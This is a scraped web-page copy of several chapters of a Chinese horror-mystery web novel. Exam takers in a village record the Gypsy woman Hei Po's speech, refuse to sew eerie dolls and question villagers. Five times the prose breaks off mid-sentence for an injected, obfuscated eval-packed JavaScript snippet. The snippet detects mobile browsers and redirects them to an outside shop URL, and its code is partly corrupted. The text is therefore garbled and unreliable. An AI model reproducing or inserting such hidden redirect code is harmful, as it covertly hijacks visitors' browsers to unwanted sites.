住宿的问题总算还是解决了。 兜了一个大圈子,最终的分房方式跟最初也没什么区别。 气倒是没少受。 这几栋屋子的装饰都相差无几,每间房内都站着一模一样的乌鸦。 这是系统的发声筒,用来传达信息,除了游惑和秦究各摸过一次头,其他房间的没人敢碰。 · 时间很快就到了7:30。 众人在忐忑之中听见主屋响起了吱呀声。 门开了,黑婆终于醒了。 乌鸦叫道: 【听力正式开始,请各位考生迅速到场,每段话只播放两遍。】 一看黑婆醒了,村长就像是耗子见了猫一样要开溜。 溜走之前,他对众人说:“黑婆见人有个规矩,进门前必须抽一张牌。” 又抽牌? 游惑顿时拉下了脸。 “什么牌?扑克牌还是那些女生玩的塔罗牌?”于闻上学期间可能没少被荼毒,居然有点了解,“抽完之后给占卜吗?” “占卜了,你听得懂吗?”老于没好气地说。 “也对,那抽了干嘛?” 村长欲言又止,最后说:“代表你今晚能不能睡个安稳觉。” 他可能料到众人要说什么,又连忙补了一句:“不要想着逃过,抽是一定要抽的,否则后果更要命。” 村长似乎想起了什么往事,又抖了一下。 “反正记住,千万千万不要惹她生气!” 丢下这句话,村长忙不迭跑了。 他裹着军大衣,匆忙穿过冰河,钻进了对面一幢并不起眼的房子里,门窗紧闭。 一时间整个村子又安静下来,河对岸和这边仿佛是两个世界。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730169|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' · 有上一次考试的经验,众人不敢乱耽搁,很快来到了黑婆门前。 一个瘦小的、像秃鹫一样的老婆婆等在门口,她的脸像陈年的老树皮,沟壑深邃,但眼睛却黑白分明,像个孩子。 这反而给人一种违和的诡异感。 她裹着花纹繁复的头巾,两手叮叮当当挂满了串饰。 那串饰应该很重,以至于她抬手都有点艰难。 黑婆眼珠一转不转地盯着众人看了几秒,突然笑了起来,牙齿细而尖,看得人不寒而栗。 她咕哝了一句什么,在众人面前摊开一摞卡牌,冲站在最前面的老于驽了驽嘴。 “我、我抽吗?”老于慌得不行。 黑婆又把牌往他手里怼了一下。 老于看了众人一眼,犹豫地从里头抽出一张。 黑婆翻开,看清牌面的人倒抽一口气。 虽然牌上的文字根本看不懂,但那个拿着硕大镰刀站在石柱上的身影却被很多人熟知。 于闻轻声说:“我操……是死神吧?我不记得这种牌有什么牌面了,但是好像是有个死神……” 众人背后刷地起了一层白毛汗。 黑婆又咯咯笑了一下,声音娇俏得像个小姑娘。 就在这时,她扶着的门上突然嘎吱嘎吱响起了声音。 依然是指甲划过的那种…… 考过一场的众人对这种声音再熟悉不过。 果不其然,眨眼间,那扇门上出现了一道考试题。 听力题:请考生根据所听内容回答下列问题。 (1)黑婆的姓名是? (2)黑婆的家人在哪里?请找到他们。 (3)黑婆房子里有几个人? 题目要求:每天清晨7点半收卷,没有踩对得分点,随机选择一名考生入棺。 入棺…… 入什么棺??? 题目出来的瞬间,黑婆张开嘴,露着尖细的牙…… 说了一长段乱码。 “…………………………” 八脸懵逼。 门上又响起了嘎吱声。 题目下面多出来一行字:听力播放完一遍,下面播放第二遍,请考生认真听题。 黑婆又要张嘴,突然横空伸出一只手,拿着个布团塞了过去。 黑婆的嘴瞬间被堵住。 游惑的声音响起来:“不好意思,你等会儿再说。” 众人:“???” 新加入的陈斌和梁元浩目瞪口呆……… 还他妈有这种操作?! 19. 旧娃娃 “哥你……”于闻看着黑婆嘴里的布团,小声问:“这东西哪儿来的?” 游惑答:“隔壁房间里顺手摸的。” 他想了想又补充道:“不算脏。” 于闻:“……” 亲哥诶,这是脏不脏的问题吗? 不过那布团确实非常干净,花纹妍丽繁复,还带着香味,跟黑婆屋里散发出来的熏香有点像。 众人自我安慰道:起码不是黑婆讨厌的味道对吧? 但是…… 这么干真的没问题吗? 不会惹黑婆生气吗??? 村长临走前苦口婆心强调过,千万千万别让这位老太太生气……这才过了几分钟? “我看你一天不违规浑身难受。”被迫成为贴身监考官的秦究说。 游惑:“刚刚播报的考试要求,有规定不许暂停听力?” 秦究:“那倒确实没有。” 游惑:“有规定不让堵题目的嘴?” 秦究:“也没有。” 游惑:“哪里违规?” 秦究似乎觉得挺有意思的。他冲门里比了个“请”,示意游惑继续,可能想看看他还能干出点儿什么事来。 就见游惑从牛仔裤口袋里掏出手机,点开录音界面,然后摘了黑婆嘴里的布团说:“继续。” 众人:“……” 黑婆:“………………” “对啊!手机能用啊!” 大家这才反应过来,这次考试他们始终没有被强制关机,几分钟前他们还用手机看过时间,但谁都没想起来可以录音。 游惑这一举动提醒了所有人。 一时间,众人纷纷掏起口袋,7位考生7部手机,全部对准了黑婆。 两秒后,监考官001先生也拿出了手机。 新加入的陈斌这时候才犯怂:“这样真的没问题吗?她会不会生气?” 游惑:“现在急晚了点。” “……” 两位新人忽然感觉自己上了贼船。 下不来的那种。 陈斌握着手机抖了半天,却发现黑婆的眼睛始终只盯着游惑。 好像其他人都不重要,这位第一个招惹她的人才是重点。 黑婆的眼睛瞳仁极大,这才使得她眼睛黑色的部分格外多,且极深。眼珠转动的时候还好,一旦定住,就像死人的眼睛。 任谁被这双眼睛盯着,都会恐惧不安。 但游惑却毫不在意。 黑婆看着他,他居然垂着薄薄的眼皮摆弄手机,把刚才的录音文件保下来。 他实在太淡定了,以至于其他人都不好意思慌。 · 游惑存好录音,又把名字改成“一段鬼话”,这才问黑婆:“有别的事没?” 黑婆面无表情地盯着游惑看了半天,又咯咯笑起来,好像刚才那段堵嘴和录音都只是无关紧要的插曲,又或者……她记了帐留待后算。 黑婆精瘦的爪……手指抓住了游惑的手腕,把他拽进门。 又歪着头看向别人。 其他考生没长那么多胆子,被她一看,立刻老老实实进了门。 黑婆满意地点了点头。 梁元浩在队伍最后,刚跨过石门坎,屋门在他身后吱呀一声关上了,还咔哒落了锁。就好像有什么东西跟在他背后一样。 众人看着关好的门,忽然想起题目最后一问,黑婆屋里有几个人…… 大家的脸刷地白了,努力挤在一块,谁也不愿意落单。 · 黑婆的房子比想象中宽大一点。 据说吉普赛人不论住在哪里,依然保留着祖先的习俗,把每一间屋子都布置得像马车篷,到处铺着毛毡和毯子。 屋里的香薰味更重了,让人头昏脑涨。 窗台和炉台上放着破旧的茶杯、茶匙和托盘,木桌上放着一罐黑乎乎的东西。 游惑低头闻了一下,闻到了陈茶的味道,除此以外还有烟丝味。 不算好闻,但勉强能拯救一下被香薰包围的鼻腔。 唯一的监考官也相当不客气,进门之后便挑了个单人沙发坐下。 屋内,炉膛边有两个竹筐,里面装着毛线球,插着长长短短的针。 黑婆伸手进去,串饰叮叮当当磕碰在一起,坠得她手一沉。 她从竹筐里捞出几个毛线布偶来。 那些布偶实在不好看,脸和手脚是发灰的旧布,拿棉花揣成鼓囊囊的团或者长条,再用粗毛线缝到一起。 有一个布偶已经完工了,被黑婆放进围兜。另外那些都还是半成品,有的差腿,有的差头。 看画风,像用于占卜或诅咒的巫蛊娃娃。 黑婆指了指墙角的木架,又咕噜了一段乱码。 这次大家经验十足,录音从进屋起就没关过,自然全录了下来。 · 游惑朝木架看过去,就见上面并排坐着几个缝好的娃娃。 黑婆把围兜里的那个也放过去,然后把毛线和针一一塞进众人手里。 她指着竹筐说:“#¥*&…(&%” 这次就算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730170|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吉普赛语,大家也能明白她的意思——她让大家把剩下的娃娃做完。 黑婆拿了个沙漏出来,倒扣在木桌上,然后佝偻着背离开了。 她刚出门,屋里便接连响起咔哒声。 陈斌反应很快,扑到窗子边拽了两下,说:“全都锁上了……她把我们锁在这里了,怎么办?” 于闻冲竹筐一努嘴:“意思很明显了,还放了沙漏,要么是沙漏漏完才放我们走,要么是在沙漏漏完前,我们得把这些娃娃缝好。” 众人面面相觑,迟疑着在地摊上盘腿坐下,各自拿起没完工的巫蛊娃娃发起了呆。 老于长叹一口气说:“还能怎么办,缝吧。既然这位黑婆是题目,总得跟着她的要求走。有什么等沙漏漏完再说,对吧?” 他们现在下意识把游惑当队长,说完一句话,总要去询问一下游惑的意思。 但他一转头就发现,自家外甥并没有急着坐过来,而是站在床边撩着帘子往外看。 “怎么了?”大家精神紧张。 “没事。”游惑说。 他想看看黑婆去哪里。 · 窗外,黑婆背影佝偻。 眨眼的功夫,她居然已经走得很远了,片刻之后没入了那片黑色的树林里。 游惑放下窗帘。 他本要回到炉膛边,但脚步却顿了一下。 木架最底层,有一个娃娃歪在边角上,摇摇欲坠。上面了一层灰,并不起眼。但支棱出来的那只腿却吸引了游惑的目光。 他走过去,弯腰捡起了那个娃娃。 从布料和灰尘来看,这娃娃应该是很久之前做好的,做工仓促简陋,四肢和身体连接的地方,针脚歪斜,手臂跟细长的腿还不是一种颜色。 这让那只娃娃显得怪异又可怜。 但这并不是吸引游惑的主因。 他之所以盯上它,是因为它的一条腿上有花纹。 娃娃粗制滥造,花纹却极为生动。就像在活人脚踝上纹的刺青,刺青的团是一串风铃花。 游惑盯着那个刺青看了几秒,伸手拍了拍沙发上的人。 秦究一直支着头看他,被他拍了两下,懒懒开口道:“说。” 游惑拎着娃娃的腿递给他:“眼熟么?我脸盲,怕记错。” 秦究看向那个图案:“我应该眼熟?” 游惑不耐地啧了一声:“我上次从禁闭室里扫出来的东西……就是放在你门口那桶,里面好像有这个。” 秦究:“……” 你居然还有脸提??? 20. 翻译软件 别人不知道有没有脸,反正游惑很有脸。 他说:“那块带刺青的就放在桶中心,最上面,应该很显眼,没看见?” 秦究气笑了:“你故意恶心我我还得细细观赏?” 他拨弄着娃娃的腿,翻看片刻又说:“况且……我如果认真回答你了,算不算额外的帮助?” 游惑收回娃娃:“不记得算了。” · 其他人没去过禁闭室,不知他们在打什么哑谜,更不敢乱插话。 老于作为一个资深酒鬼,有手抖的毛病。 他拿了一根粗针,捏着毛线一头怼怼怼,怼了五分钟也没能成功穿进洞里。 于闻瞄了两眼,终于还是没忍住,一把夺过来。 “喝喝喝,喝得一身毛病!现在手抖以后脚抖,有你受的。” 他咕哝着帮他爸穿好针线,又丢回去。 其他人也陆续穿好,拿着娃娃准备落针。 只有于遥,握着娃娃呆坐半晌,低声说:“我感觉这些娃娃很怪,我有点怕,能不能不缝?” 她的声音太低了,几乎是在喉咙里咕哝的。 唯一听见的,只有离他最近的老于。 老于拿着针愣了一下,正要出声安慰。 就听游惑说:“等下。” 他说得太突然,大家吓一跳,连忙停住手,茫然看着他。 “怎么了?有什么不对劲?”陈斌问。 游惑走到竹筐边弯腰查看。 他在那些胳膊、大腿、脑袋里扒拉着,拿起几根粗制滥造的娃娃手脚,又丢回框里。 “别缝了。”他拍了拍手上的灰。 “为什么?”不怎么开口的梁元浩忍不住了。 游惑指了指竹筐:“这里面的布料差不多,都是灰的。但木架上完工的那些,手脚颜色差异很大。” 梁元浩皱眉:“那又怎么样?” “不怎么样,直觉有古怪。”游惑站直身体。 陈斌看得出来,这群考生都很听游惑的话。 他拉了梁元浩一下,冲游惑尴尬地笑了笑:“颜色这个……确实有点怪,但黑婆让我们缝这个。不缝的话,确定不会出事吗?” 游惑:“不确定。” 陈斌:“……” 梁元浩还要说什么,陈斌拽着他摇了摇头。 “哪来那么多百分之百确定的事,听不听随意。”游惑本来也没多少耐心,老妖婆的鸟语就够烦人的了。 他说完拽了张椅子坐到炉边,一声不吭烤火去了。 “哥……你真不缝?”于闻拎着娃娃,小心问他。 游惑手指抵着下巴,“嗯”了一声。 “那行吧,我……我也不缝了。”于闻迟疑了一下,把手里的娃娃放回竹筐。 其他人有了上一轮的经验,也跟着放下娃娃。 这其实是一个很没有把握的选择。 但在这种世界,本来就没有什么事是有把握的,每一次都是拿命在赌。 只不过游惑赌得格外淡定。 他就像一个特别的冒险家,脸是冷的,骨头里却又野又疯。 这种冒险性的选择,能说服其他人,却很难说服陈斌和梁元浩。 尤其是考过三场,分数依然极低的梁元浩。他现在压力太大,看谁都带着怀疑。 他没经历过上一场考试,不知道这队人的分数,更没见过游惑之前的表现。 在他看来,游惑从进考场起,就一直在违规边缘试探。每一次举动都在挑战考试系统的底线,挑衅这些不知是人是鬼的东西。 他真的无法理解这种行为…… 老实一点不好吗? 为什么非要跟这些可怕的东西对着干呢? 多活一会儿可以吗? 他愤愤地说:“随你们。” 接二连三的死亡让他风声鹤唳,已经不知道该怎么办了。但相较于游惑,他更愿意老老实实按照黑婆的要求做。 说着,他拿了一条娃娃腿缝了起来。 粗毛线从布料中穿过,发出沙沙的摩擦声。 陈斌看了看他,又看了看游惑,两厢为难。 · 沙漏漏得很快,没过片刻就空了。 梁元浩手笨,紧赶慢赶也只缝上了两条腿。 陈斌最终还是选择听黑婆的,但他耽搁得更久,只来得及缝一只胳膊,还只缝了半截。 咔哒一声。 小屋门锁开了,黑婆佝偻着肩背进了屋。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730171|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歪着头扫了一眼屋内,然后迈着小步子走到梁元浩和陈斌面前。 “唔……”黑婆拎起他们手里的娃娃,皱着眉,似乎很不满意。 梁元浩脸色刷白,低声抱怨:“都是些不相干的事,在那浪费时间,不然我肯定能缝完……” 黑婆又看向其他人,却见他们都空着手,脸顿时黑了下来。 众人惊疑不定地看着她,生怕她突然暴起。 谁知她黑了一会脸,又舔着嘴唇笑了。 她把娃娃放进竹筐,收拢了一下,又说了一串听不懂的话,便把他们赶出了小屋。 · 屋门关上的瞬间,乌鸦的声音就响了起来: 【听力考试播放结束,你有足够的时间思考所听内容。】 【明早7点30分,阅读考试准时开始,请勿迟到。】 【祝你取得好成绩。】 · 游惑和秦究进了屋,其他人像找老鹰的小鸡,悉数跟进来,把客厅填得满满当当。 “所以刚刚缝娃娃有什么目的吗?”于闻挠着头说,“没看出来啊,好像缝也没事,不缝也没事。” 老于拍了他一下:“别做梦了,哪来这种好事。可能只是没到时候罢了,等着吧!” 游惑没管这个,只是从手机里翻出录音:“谁有翻译软件?” 于闻连忙说:“我有我有!” “但现在手机没信号啊。”陈斌说。 于闻:“我这个不用联网,词库下载好的,而且语音识别!” 大家顿时亢奋起来。 游惑点了播放,把手机扔在于闻手边。 于闻宝贝一样握着自己的手机虔诚聆听。 众人目不转睛地盯着他,满怀期待。 没多久,黑婆那段乱码放完了。 众人没敢说话,屏息凝神。 等了有两分钟吧,于闻白着脸说:“我日……” “怎么了?” “翻译软件没有吉普赛语……” “什么鬼翻译软件?!” 陈斌梁元浩都不信邪地开了自己的app,翻找半晌发现,居然真的没有。 众人:“……” 草。 要死在外语上了。 21. 村民 一门连翻译软件都识别不了的外语…… 亏系统做得出来。 “……联网呢?”于闻戳着手机屏幕,有点急:“是不是我下的词库还不够?联网有用吗?监考官能帮这个忙吗?” 众人闻言朝秦究看过去。 这位监考官先生站在客厅一角的橱柜前,百无聊赖地翻看熏香炉。他后脑勺好像长了眼,头都没回,说:“奖励牌不是你们抽的,看我干什么?” 屋子里熏香太浓。 他拧开炉盖,挑拣出那块熏人的玩意儿,丢在一边。这过程中,他瘦长的手指在炉中拨弄着,完全不怕烫。 众人听了他的话,又眼巴巴看向游惑。 但还没等游惑开口,最先提议的于闻又慢慢冷静下来,“算了,词库应该下全了,我就随便问问……几个版本的翻译软件都没吉普赛语,那就算联网,可能也翻不出来。如果真的查不到什么东西,还会白白浪费一张牌。” 陈斌左右看了看,忍不住问道:“什么牌?从进队开始我就总听你们提,但一直没好意思问。” 当初抽牌的时候,全队的人都看着,该知道的都知道,也没什么好隐瞒的。 大家七嘴八舌给陈斌解释了一下奖励牌的用处。 陈斌听得目瞪口呆:“……还真有奖励?我以前只在传言里听过,还以为是骗人的。你们做了什么?怎么拿到的机会?” 众人面露羞愧,心说全靠系统随机,给了他们一根金大腿。 陈斌是个识时务的,见大家面色各异,也没多追问。 他朝梁元浩看了一眼,发现对方紧抿嘴唇,脸色很难看。其实他自己的脸色也没好看到哪儿去。 他们虽然没亲见过奖励牌,但听说过。 不管因为什么理由拿到奖励机会,都只证明一件事——这支小队非常厉害。 或者说,这支小队里有非常厉害的人。 这位厉害的人是谁,不言而喻。 而他们两个刚刚很不巧,跟大佬做了相反的选择。 陈斌轻拱了梁元浩一下,趁着其他人正在讨论,小声问他:“后悔么?” 梁元浩拉着脸,粗声粗气地说:“后果还没显露出来。一次对就能次次对?反正我不后悔。” “我有一点。”陈斌一脸愁苦,看着地面出神。 · “哥,要找监考官帮忙吗?”于闻问。 “不找。” 游惑坐在沙发扶手上玩手机。 秦究把熏香炉的盖子重新扣上。 他随便抽了一条彩巾,擦干净手指,然后不慌不忙地踱到游惑身后。两手撑着沙发背上说:“真不找?这张牌在我这里捂很久了。我真是迫不及待想用掉它。” 游惑头都没抬,冷笑一声算是回答。 秦究更有兴味了。 这位考生实在很有意思,正常范围内的小问题,他一点儿也没少问,指使起监考官来半点不客气。可一旦涉及到求助牌,他就打死不用,好像求助就是低头一样。 一块难啃的硬骨头。 001监考官在心里点评。 · 游惑点了几下手机,黑婆小姑娘似的声音又在屋内响了起来。 这不像英语。英语大家都懂,即便学得差,多放几遍、放慢一点,就能听个七七八八。 吉普赛语他们真的一窍不通,就算把这段录音循环播放一整天,那一窍也不会被打通。 他们沉默着杵在客厅里,绝望地被鸟语包围。 · 那段话放了有十来遍,突然有人打了个响指。 众人猛地回神:“谁?怎么了?” 打响指的居然是Mike。 他张着嘴,一动不动地听完黑婆最后两句话,神情激动地叫了起来。 因为语速太快,听着也像乱码。 老于他们懵逼半晌,转头问游惑:“他说啥?” 游惑皱着眉说:“他说黑婆的吉普赛语里夹着波斯和俄语词汇。” 他转头问Mike:“你确定?” 作为四国混血,Mike虽然长得对不起血,但在语言上还是有底的。他放慢语速解释了一下,说自己的外祖父来自于俄罗斯,他对俄语虽然不精通,但词汇量还行。至于波斯语,他在大学期间心血来潮选修过。 吉普赛人在迁徙过程中,经常会受居住地人的影响,所以语言里常会带入外来词。 他们还会学当地的语言,就比如黑婆能听懂考生说的中文一样。 村长说过,黑婆当年是跟着俄罗斯人来这里躲避战乱的,想必受了俄罗斯同伴的影响,语言用词里会有混杂。 这点也许连她自己都没有意识到。 · 一听这话,大家立刻兴奋起来。 于闻大狗一样盯着Mike说:“来!快说快说!你听到了什么?” 听到这个问题,Mike又有些赧然。 他微胖的脸盘子涨得粉红,“呃”了好几声,才憋出了几个词。 “坟。” “花。” “针。” “太阳。” 游惑看向Mike,转头对众人说:“没了。” 众人:“……” “题目是什么来着?”老于问。 于闻面无表情地说:“1黑婆叫什么,2黑婆家里人在哪,3黑婆屋子里有多少人。” 这四个词,哪个能回答…… 好不容易燃起的希望又噗地灭了。 大家伸长的脖子又缩了回去,脸色晦暗。 · 太阳不知不觉斜向西边,藏在了林子后面,晕出一片并不明亮的余晖。 坐在窗边的于遥忽然撩开帘子,轻声说:“村民……” “啊?”于闻凑过去,“什么村民?” 于遥彻底拉开窗帘,指着并不大的石砌圆窗说:“河对面有人出来活动了,应该是村民吧?” 冻结的河在傍晚泛着一层光。光的对岸,有三两个人影正从房子里出来,挎着篮子,小心翼翼地往河边挪。 “还真是。”陈斌咕哝:“村长说他们傍晚会出来活动一下,人多热闹点是吧?但是……” 三两个人哪里热闹了??? · 不管怎么说,有人的地方就有线索。 游惑穿上黑色羽绒服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730172|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把拉链拉到下巴,掩住下半张脸,抬脚便出了门。 其他人陆陆续续跟了出来。 秦究不紧不慢地走在游惑旁边,落后他半步。 “分数买的衣服?” 游惑眯着眼,从狭长的眼缝里睨他。 “虽然收过你几份大礼,但我这人很大度。不介意给你几句忠告。” 秦究两手插在大衣口袋里,跟他并肩慢慢穿过冻河,“这个考试,能及格的人屈指可数。反正我监考这么久,也没见过多少。对于一般考生来说,最好前期别乱花分数。” 游惑直挺的鼻尖掩在衣领下,但依然会在呼吸间形成一团白雾。 他走到对岸,浅色的眼珠一动,目光落在不远处的一位中年女人身上。 女人是寒冬边境典型的打扮,穿着极长的冬衣,从脖颈一直裹到脚,大围巾恨不得埋住整颗脑袋。 她笨拙地在河边蹲下,招呼身边的男人说:“来,把冰凿了。” 游惑看了一会儿,丢给秦究一句:“一般的忠告留着给别人去,我用不上。” 说完,他便朝那两位村民走了过去。 · 两位村民看到游惑,略微愣了一下。然后冻僵的脸缓慢笑起来:“你是新来的客人?村长跟我们提过。” 游惑朝村长的房子看了一眼,门窗紧闭。 “嗯,早上刚到。”他回答说。 村民点了点头,不算热情:“你们住在河对岸?” “嗯。” 村民:“……” 那对男女沉默了一会儿,没憋住,说:“你没有什么要问我们的吗?刚来村子一定很不习惯吧?” 游惑抬了抬眼:“还行。” 两人:“……” 他们面面相觑片刻,又蹲下身去挖河面的冰。凿了两下,他们朝游惑瞄了一眼。 “你们去黑婆那儿了?”那个中年女人忍不住问道。 游惑点了点头:“对,在那呆了一下午。” “哦……做什么了吗?” 游惑说:“做了几个娃娃,不知道你们见过没。” 两位村民动作顿了一下,有点瑟缩。 游惑又说:“也有几位没做。” 让他奇怪的是,村民居然又瑟缩了一下。 片刻之后,女人抬头说:“没有,一般只有客人会去拜访黑婆。我们很少去河对岸。” 游惑:“以前也来过客人?” 女人点了点头:“来过的,跟你们差不多吧,总是一群一群地来。” 游惑说:“后来他们怎么样了?” 女人有一瞬间的茫然,接着摇了摇头说:“好像……没看到他们离开。” 刚过河的几位考生一听这话,差点儿掉河里。 秦究走到游惑身边,他微微低头说:“你可真是个套近乎的鬼才。” 游惑:“……” 他正想回嘴,男村民手里的铁盆突然当啷一下掉在冰面上。 两人看过去,就见那个男人盯着游惑的眼睛看了几秒,又盯着秦究看了几秒,慢吞吞地说:“我好像……在哪里见过你们。” 游惑一愣:“谁?我们?” 22. 墓碑 大家都愣住了:“干嘛?” “对,我见过的。”男村民一把抓住游惑的手。 他的手掌粗糙如砂纸,擦得皮肤生疼,又硬又冷。 游惑抽回手,脸色很不好看。 “在哪见过?”他活动着手腕问。 男村民站在原地,茫然地想了两秒。又像是没听见问题一样,重复地说:“我肯定见过……我见过的。” “哎,又来了。”那个要凿冰的女人放下凿具,叹了口气说:“你们别见外,这人啊就这个毛病。” “什么意思?” “他这里不太好。”女人指了指自己的脑袋,解释说:“一阵儿一阵儿的,发起病来就喜欢拽着人说我看你眼熟,我是不是在哪里见过你?要不就是问人家,你认识我吗?你记得我吗?” 话音刚落,那个男村民又抓住了秦究,低声问:“你认识我的,你记得我吗?” 秦究:“……” 女人说:“看吧!就是这样。” “怎么疯的?”秦究问。 女人回想了片刻,又摇了摇头低声说:“一直都这样。” 她招呼了一声,另外两个在河边打水的人走了过来,一边一个架起男村民。 “你们先把他带回去吧,估计得疯一会儿。”女人说。 两个同乡点了点头,把男村民往房子里拽。 被拖拽的时候,男村民又拉住离他最近的于闻,挣扎着说:“我见过的,我真的见过的。” 他皮肤灰暗,脸上满是干纹,嘴角和眼角尤为严重。两鬓夹着几根白头发,显得有些沧桑。 于闻被他吓了一跳,又觉得有点可怜。 他说:“别这么拽吧?要不我帮你们?” 两个村民摇了摇头:“没事,不用。我们习惯了,他疯起来力气大得很,你架不动的。只能这样拽着。而且……” 其中一个耿直地说:“你们是黑婆的客人,我们……唔,不太欢迎陌生人进自己家。” 很快,男村民被拽进一栋红顶房子,房门关上便没了动静。 这段插曲弄得众人面面相觑。 但这些村民相当于游戏中的NPC,NPC之间发生的事情,很难说是不是固定的日常剧情。没弄清原委之前,贸然插手不太明智。 于是大家看在眼里,并没有轻举妄动。 游惑记住了那幢房子,这才收回视线。 聊了半天,关系也没见亲近。这位大佬没了耐心,他也不兜圈了,干脆地问道:“你们有人懂吉普赛语么?” 女人又开始凿冰了。 她手扬得很高,凿具重重砸在冰面上,带起一层碎渣。 一下一下带着股狠劲。 这种场面看得人莫名害怕,就好像那里如果躺一个人,她也会这样用力凿下去。 她凿了好几下,摇头说:“不懂,没人懂。” “但是村长说黑婆做死人活。没人懂吉普赛语的话,怎么跟她沟通让她做活?”老于忍不住问道。 女人说:“都是客人来找她,我们不用。而且以前她不是一个人,有老毛子,有几个小孩。并不是总说吉普赛语。” 老毛子?小孩? 众人感觉问到了重点,一下子兴奋起来:“那是不是黑婆的家里人?” 女人点了点头:“是的吧。” “他们人呢?去了哪里?” 女人摇了摇头:“走了,去了哪里不知道。可能回家去了?反正突然就不见了。” “有知道的人么?” 女人又摇头说:“没有,我们哪敢多问黑婆的事。” 大家又懊丧起来。 游惑看了一眼远处沉落的夕阳,问:“这里有坟墓么?” 女人凿冰的手一顿。 她安静了好一会儿,突然抬头看着众人笑起来。 这么一笑,她的面容生动多了,却也让人毛骨悚然。 她笨拙地抬起手,随便一指:“看见这些树林没?” 众人转眼扫了一圈。 绵延的树林围了一个密不透风的圈,把整个山村包裹在其中。 女人笑着说:“林子就是坟,这一圈树林啊……全都是坟。” · 夕阳彻底沉到了林子后面,最后一丝余晖消失殆尽。 天色不知不觉黑了下来。 女人抬头看了一眼,连忙拎起铁桶。 “等等。”游惑一把抓住她。 女人挣了两下:“干什么?!天黑了,别抓我!我要回家!” 她力气极大,远在游惑意料之外,所以一时不察,居然真让她挣开了。 女人拎着桶连退几步,催促众人说:“你们也赶紧回屋吧。天黑了!” “天黑怎么了?之前村长也说过,天黑你们就不出来了?” 女人发着抖。 她裹紧了围巾,四下看了一眼,然后轻声说:“天黑有鬼,到处都是。他们会敲你的门,开你的窗子,站在床边或者钻进床底。你们要小心……” 说完,她食指压在嘴唇上,“嘘”了一声。 “……” 大家被她“嘘”得毛骨悚然。 女人说完这句话,拎着铁桶匆忙走了。 夜幕之下,她走得特别快,眨眼的功夫,身影已经到了远处的房屋前。 她打开门,左右看了一眼,然后小心翼翼地钻进了屋子里,门窗紧闭。 一时间,万籁俱寂。 几栋房屋里亮着零星的灯光,但光太昏暗,偶尔还会轻轻摇晃,反而让人更加不安。 陈斌他们搓了搓胳膊,说:“怎么办?听力题没有头绪,我们……要不回去再研究研究录音?” 这话说得很绝望。 没有翻译器,村民不懂吉普赛语,据说夜里还有鬼敲门……他们该怎么搞到听力的题目? · “我进趟林子。” 游惑突然说。 “你进哪儿???”老于被外甥吓一跳,但话还没问完,游惑沙沙的脚步声已经往远处去了。 “草。”老于不敢对外甥说脏话,对着地啐了一声,喊着问:“你等等!你好歹拿个灯!” 游惑头都没回,很敷衍地摆了一下手。 众人:“……” 老于急忙问:“谁谁谁!来个手电!手机也行!我的下午耗没电了。我他妈……怎么也不能看着他一个人往坟地里钻!” 众人面面相觑,纷纷摇头。 下午反反复复的录音播放,耗尽了所有人的手机电。 仅剩的那点也不敢拿来照明,否则撑不了几分钟就要彻底关机。 “老手呢!二位?有带手电的吗?”老于又看向陈斌和梁元浩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730173|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 梁元浩:“没有。” 陈斌尴尬地摆了摆手:“休息处倒是有的卖,但是……我们分数实在太可怜,没敢买。” 